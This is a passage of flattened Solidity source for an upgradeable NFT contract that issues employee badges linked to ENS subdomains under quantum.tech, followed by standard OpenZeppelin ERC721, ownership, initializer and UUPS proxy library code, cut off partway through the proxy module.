// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* .'',,,,,,,,,,,,,,,,,,,,,,,''. ,lxxxxxxxxxxxxxxxxxxxxxxxxxxxxdc. .,...........''. .,'...'. ,dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxl. ;o:,;,;;;;:;.;: ,ll,.;c. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo' .''..''....'... .''. .. .cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd; .':cccccllllcclllllcclccccccc:;. ..''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''... .':ldxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdoc;. ,oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd:. .:dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxl. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc. .cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd' .cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo' ,dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:. ;dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc. .cdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxl,. .;clodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddlc;'. ...................................................................... ..',;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,'.. .;codxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdoc;. 'cdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdc' .cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc. 'oxxxxxxxxxxxolc::cloxxxxxdllodxxxdolldxxxxxollldxxxxxxdllloxxxxxxdolloxdlllllllloddllldxxxxollodxxdllldxxxxdllldxxxxxxxxxo' 'oxxxxxxxxxd:'. .'cdxx; .lxxxl. ;xxxxl. .lxxxxxc. .:dxxxxl. ;d;. .lc. .:xxxd, .lxx; 'oxxd,. ,dxxxxxxxxxo' .cxxxxxxxxxo' .,;;,. ,od, .cxxxc. ,xxxo' 'dxxxx:. .;lxxl. ,dl:;. ':cdc. ;xxxd, .lxo. ;dx: .lxxxxxxxxxxc. .oxxxxxxxxd; ,dxxxxo' ;d, .cxxxl. ,xxd, .,. ;dxxx: .;ol. ,dxxx, .cxxxc. ;xxxd, .lxc. :c. ;xxxxxxxxxxo. .oxxxxxxxxd' .cxxdood: ,d, .cxxxl. ,xx:. :d; .cxxx: ;:. .,. ,dxxx, .cxxxc. ;xxxd, .lx; .'. . '. 'dxxxxxxxxxo. .lxxxxxxxxx: .coc'... :x; :xxx: ;xc. .'. .lxx: :xoc, ,dxxx, .cxxxc. 'dxxo. .oo. ,o, ,o; .lxxxxxxxxxl. ;xxxxxxxxxd:. ... ;dxl. .','. .lo. .'''''. 'ox: :xxxdc. ,dxxx, .cxxxd, .,,. ;dc. :xo' 'oxc. :xxxxxxxxx; .:xxxxxxxxxxo:'........ 'lxxo;.......;oxc'..cxxxxxc..'cxl'.'lxxxxxo;...:xxxx:..,oxxxxd:'......,cdxc..'lxxl,,lxxo,..:dxxxxxxx:. .:dxxxxxxxxxxxdoooodxocloxxxxxdooodxxxxxddxxxxxxxxdddxxxxddxxxxxxxxxddxxxxxxddxxxxxxxxxdoooodxxxxxddxxxxxxxxxxxxddxxxxxxxd:. 'ldxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdl' ':oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo:' .';:lloddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddooc:;'. .................................................................................................... ..,;;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;,'. .:oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdc,. .cdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxl' .lxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd, :xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxl. .cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd' .:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo. 'oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd; .lxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd; .,ldxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo:. .,;ccllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllcc:;'. ..''''''''''''''''''''''''... .,ldxxxxxxxxxxxxxxxxxxxxxxxxxxdo;. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:. ',.','..,..'... .cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxl. ';.;l;,::.,:;:, 'oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd, .. ......... .. .;cllllllllllllllllllllllllllc;. */ import '@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol'; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./Namehash.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; abstract contract ENS { function resolver(bytes32 node) public virtual view returns (Resolver); function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) virtual external; } abstract contract Resolver { function addr(bytes32 node) public virtual view returns (address); function text(bytes32 node, string calldata key) virtual external view returns (string memory); function setText(bytes32 node, string calldata key, string calldata value) virtual external; function setAddr(bytes32 node, address a) virtual external; } contract QuantumPFP is Initializable, UUPSUpgradeable, ERC721Upgradeable, OwnableUpgradeable, Namehash { string public _baseURI_; string public constant baseDomain = "quantum.tech"; string terminatedURI; uint historicalEmployeeCount; enum Designations { Unknown, Mr, Ms, Agent, Trainee, Specialist } string[6] public designationNames; struct Employee { string specialty; Designations designation; string initial; string email; bool terminated; } mapping(uint => Employee) public EmployeeList; // Same address for Mainet, Ropsten, Rinkerby, Gorli and other networks; // ENS ens = ENS(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e); ENS public ens; function initialize(string memory __baseURI, string memory _terminatedURI, address ensRegistrar) initializer public { __ERC721_init('Quantum Team', 'QT'); __Ownable_init(); __UUPSUpgradeable_init(); _baseURI_ = __baseURI; terminatedURI = _terminatedURI; ens = ENS(ensRegistrar); designationNames = ["Unknown", "Mr", "Ms", "Agent", "Trainee", "Specialist"]; } //proxy requirement function _authorizeUpgrade(address newImplementation) internal onlyOwner override {} function ENSResolve(bytes32 node) public view returns(address) { Resolver resolver = ens.resolver(node); return resolver.addr(node); } function initialToENS(string memory _initial) public view returns(address){ bytes32 toResolve = computeNamehash(abi.encodePacked(_initial, ".", baseDomain)); return ENSResolve(toResolve); } function _baseURI() internal view override returns (string memory) { return _baseURI_; } function addEmployee(string memory _initial, address targetAddress, string memory email, Designations designation, string memory specialty) external onlyOwner { EmployeeList[historicalEmployeeCount] = Employee(specialty, designation, _initial, email, false); bytes32 rootNodeId = computeNamehash(abi.encodePacked(baseDomain)); Resolver rootResolver = ens.resolver(rootNodeId); ens.setSubnodeRecord(computeNamehash(abi.encodePacked(baseDomain)), keccak256(abi.encodePacked(_initial)), address(this), address(rootResolver), 0); bytes32 nodeId = computeNamehash(abi.encodePacked(_initial, ".", baseDomain)); Resolver resolver = ens.resolver(nodeId); resolver.setAddr(nodeId, targetAddress); resolver.setText(nodeId, "email", email); resolver.setText(nodeId, "designation", designationNames[uint256(designation)]); resolver.setText(nodeId, "specialty", specialty); resolver.setText(nodeId, "status", "okay"); _mint(targetAddress, historicalEmployeeCount); historicalEmployeeCount += 1; } function terminateAccess(uint tokenId) external onlyOwner { EmployeeList[tokenId].terminated = true; bytes32 nodeId = computeNamehash(abi.encodePacked(EmployeeList[tokenId].initial, ".", baseDomain)); Resolver resolver = ens.resolver(nodeId); resolver.setText(nodeId, "status", "terminated"); } function restoreAccess(uint tokenId) external onlyOwner { EmployeeList[tokenId].terminated = false; bytes32 nodeId = computeNamehash(abi.encodePacked(EmployeeList[tokenId].initial, ".", baseDomain)); Resolver resolver = ens.resolver(nodeId); resolver.setText(nodeId, "status", "okay"); } function changeDesignation(uint tokenId, Designations designation) external onlyOwner { require(_exists(tokenId) && !EmployeeList[tokenId].terminated, "invalid employee"); bytes32 nodeId = computeNamehash(abi.encodePacked(EmployeeList[tokenId].initial, ".", baseDomain)); Resolver resolver = ens.resolver(nodeId); resolver.setText(nodeId, "designation", designationNames[uint(designation)]); EmployeeList[tokenId].designation = designation; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if(!EmployeeList[tokenId].terminated) { string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, uint2str(tokenId))) : ""; } else { return terminatedURI; } } function transferFrom( address from, address to, uint256 tokenId ) public override onlyOwner { _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory ) public override onlyOwner { _transfer(from, to, tokenId); } function setBaseURI(string memory _newURI) public onlyOwner { _baseURI_ = _newURI; } function setTerminatedURI(string memory _newURI) public onlyOwner { terminatedURI = _newURI; } function burn(uint256 tokenId) public onlyOwner { ens.setSubnodeRecord(computeNamehash(abi.encodePacked(baseDomain)), keccak256(abi.encodePacked(EmployeeList[tokenId].initial)), address(0), address(0), 0); delete EmployeeList[tokenId]; _burn(tokenId); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Namehash { function computeNamehash(bytes memory domain) internal pure returns (bytes32) { return namehash(domain, 0); } function namehash(bytes memory domain, uint i) internal pure returns (bytes32) { if (domain.length <= i) return 0x0000000000000000000000000000000000000000000000000000000000000000; uint len = LabelLength(domain, i); return keccak256(abi.encodePacked(namehash(domain, i+len+1), keccak(domain, i, len))); } function LabelLength(bytes memory domain, uint i) private pure returns (uint) { uint len; while (i+len != domain.length && domain[i+len] != 0x2e) { len++; } return len; } function keccak(bytes memory data, uint offset, uint len) private pure returns (bytes32 ret) { require(offset + len <= data.length); assembly { ret := keccak256(add(add(data, 32), offset), len) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/UUPSUpgradeable.sol) pragma solidity ^0.8.0; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Check that the execution is not being performed through a delegate call. This allows a function to be * callable on the implementing contract but not through proxies. */ modifier notDelegated() { require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall"); _; } /** * @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the * implementation. It is used to validate that the this implementation remains valid after an upgrade. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier. */ function proxiableUUID() external view virtual override notDelegated returns (bytes32) { return 